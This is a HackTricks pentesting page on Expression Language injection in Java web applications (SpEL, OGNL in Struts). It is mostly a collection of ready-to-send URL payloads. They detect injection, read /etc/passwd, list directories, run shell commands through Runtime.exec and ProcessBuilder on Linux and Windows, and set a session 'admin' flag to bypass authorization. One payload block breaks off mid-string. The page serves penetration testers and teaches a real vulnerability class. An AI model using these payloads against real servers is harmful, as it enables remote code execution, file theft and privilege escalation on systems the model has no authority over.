hacktricks/pentesting-web/ssti-server-side-template-injection/el-expression-language.md

# EL - Expression Language

## Basic Information

EL  provides an important mechanism for enabling the presentation layer \(web pages\) to communicate with the application logic \(managed beans\). The EL is used by **several JavaEE technologies**, such as JavaServer Faces technology, JavaServer Pages \(JSP\) technology, and Contexts and Dependency Injection for Java EE \(CDI\). The EL can also be used in stand-alone environments.

Java applications are **easily recognizable** as they tend to use extensions as **.jsp** or **.jsf**, throw **stack errors** and use **term like "Serverlet" in the headers**.

{% hint style="info" %}
depending on the **EL version** some **features** might be **On** or **Off** and usually some **characters** may be **disallowed**.
{% endhint %}

## Basic Example

\(You can find another interesting tutorial about EL in [https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/](https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/)\)

Download from the [**Maven**](https://mvnrepository.com/) repository the jar files:

* `commons-lang3-3.9.jar` 
* `spring-core-5.2.1.RELEASE.jar`
* `commons-logging-1.2.jar` 
* `spring-expression-5.2.1.RELEASE.jar`

And create a the following `Main.java` file:

```java
import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;

public class Main {
    public static ExpressionParser PARSER;

    public static void main(String[] args) throws Exception {
        PARSER = new SpelExpressionParser();

        System.out.println("Enter a String to evaluate:");
        java.io.BufferedReader stdin = new java.io.BufferedReader(new java.io.InputStreamReader(System.in));
        String input = stdin.readLine();
        Expression exp = PARSER.parseExpression(input);
        String result = exp.getValue().toString();
        System.out.println(result);
    }
}
```

Next compile the code \(if you don't have `javac` installed, install `sudo apt install default-jdk`\):

```java
javac -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main.java
```

Execute the application with:

```java
java -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main
Enter a String to evaluate:
{5*5}
[25]
```

Note how in the previous example the term `{5*5}` was **evaluated**.

### Basic actions

```bash
#Basic string operations examples
{"a".toString()}
[a]

{"dfd".replace("d","x")}
[xfx]

#Access to the String class
{"".getClass()}
[class java.lang.String]

#Access to arbitrary class
{"".getClass().forName("java.util.Date")}
[class java.util.Date]

#List methods of a class
{"".getClass().forName("java.util.Date").getMethods()[0].toString()}
[public boolean java.util.Date.equals(java.lang.Object)]
```

### Detection

* Burp detection

```bash
gk6q${“zkz”.toString().replace(“k”, “x”)}doap2
#The value returned was "igk6qzxzdoap2", indicating of the execution of the expression.
```

* J2EE detection

```bash
#J2EEScan Detection vector (substitute the content of the response body with the content of the “INJPARAM” parameter concatenated with a sum of integer):
https://www.example.url/?vulnerableParameter=PRE-${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.print(new%20java.lang.Integer(829%2b9))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}-POST&INJPARAM=HOOK_VAL
```

* Sleep 10 secs

```bash
#Blind detection vector (sleep during 10 seconds)
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40java.lang.Thread%40sleep(10000)%2c1%3f%23xx%3a%23request.toString}
```

### Remote File Inclusion

```bash
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=new%20java.io.FileInputStream(%23wwww),%23qqqq=new%20java.lang.Long(%23wwww.length()),%23tttt=new%20byte[%23qqqq.intValue()],%23llll=%23pppp.read(%23tttt),%23pppp.close(),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(new+java.lang.String(%23tttt))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=%2fetc%2fpasswd
```

### Directory Listing

```bash
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=%23wwww.listFiles(),%23qqqq=@java.util.Arrays@toString(%23pppp),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23qqqq)%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=..
```

### RCE

* Basic RCE **explanation**

```bash
#Check the method getRuntime is there
{"".getClass().forName("java.lang.Runtime").getMethods()[6].toString()}
[public static java.lang.Runtime java.lang.Runtime.getRuntime()]

#Execute command (you won't see the command output in the console)
{"".getClass().forName("java.lang.Runtime").getRuntime().exec("curl http://127.0.0.1:8000")}
[Process[pid=10892, exitValue=0]]
```

* RCE **linux**

```bash
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="%2fbin%2fsh",%23ssss[1]="%2dc",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt
```

* RCE **Windows** \(not tested\)

```bash
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="cmd",%23ssss[1]="%2fC",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt
```

* **More RCE**

```java
// Common RCE payloads
''.class.forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(<COMMAND STRING/ARRAY>)
''.class.forName('java.lang.ProcessBuilder').getDeclaredConstructors()[1].newInstance(<COMMAND ARRAY/LIST>).start()

// Method using Runtime
#{session.setAttribute("rtc","".getClass().forName("java.lang.Runtime").getDeclaredConstructors()[0])}
#{session.getAttribute("rtc").setAccessible(true)}
#{session.getAttribute("rtc").getRuntime().exec("/bin/bash -c whoami")}

// Method using processbuilder
${request.setAttribute("c","".getClass().forName("java.util.ArrayList").newInstance())}
${request.getAttribute("c").add("cmd.exe")}
${request.getAttribute("c").add("/k")}
${request.getAttribute("c").add("ping x.x.x.x")}
${request.setAttribute("a","".getClass().forName("java.lang.ProcessBuilder").getDeclaredConstructors()[0].newInstance(request.getAttribute("c")).start())}
${request.getAttribute("a")}

// Method using Reflection & Invoke
${"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke("".getClass().forName("java.lang.Runtime")).exec("calc.exe")}

// Method using ScriptEngineManager one-liner
${request.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\\\"ping x.x.x.x\\\")"))}

// Method using ScriptEngineManager
${facesContext.getExternalContext().setResponseHeader("output","".getClass().forName("javax.script.ScriptEngineManager").newI
```

### Inspecting the environment

* `applicationScope` - global application variables
* `requestScope` - request variables
* `initParam` - application initialization variables
* `sessionScope` - session variables
* `param.X` - param value where X is the name of a http parameter

You will need to cast this variables to String like:

```bash
${sessionScope.toString()}
```

#### Authorization bypass example

```bash
${pageContext.request.getSession().setAttribute("admin", true)}
```

The application can also use custom variables like:

```bash
${user}
${password}
${employee.FirstName}
```

## References

* [https://techblog.mediaservice.net/2016/10/exploiting-ognl-injection/](https://techblog.mediaservice.net/2016/10/exploiting-ognl-injection/)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md\#tools](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools)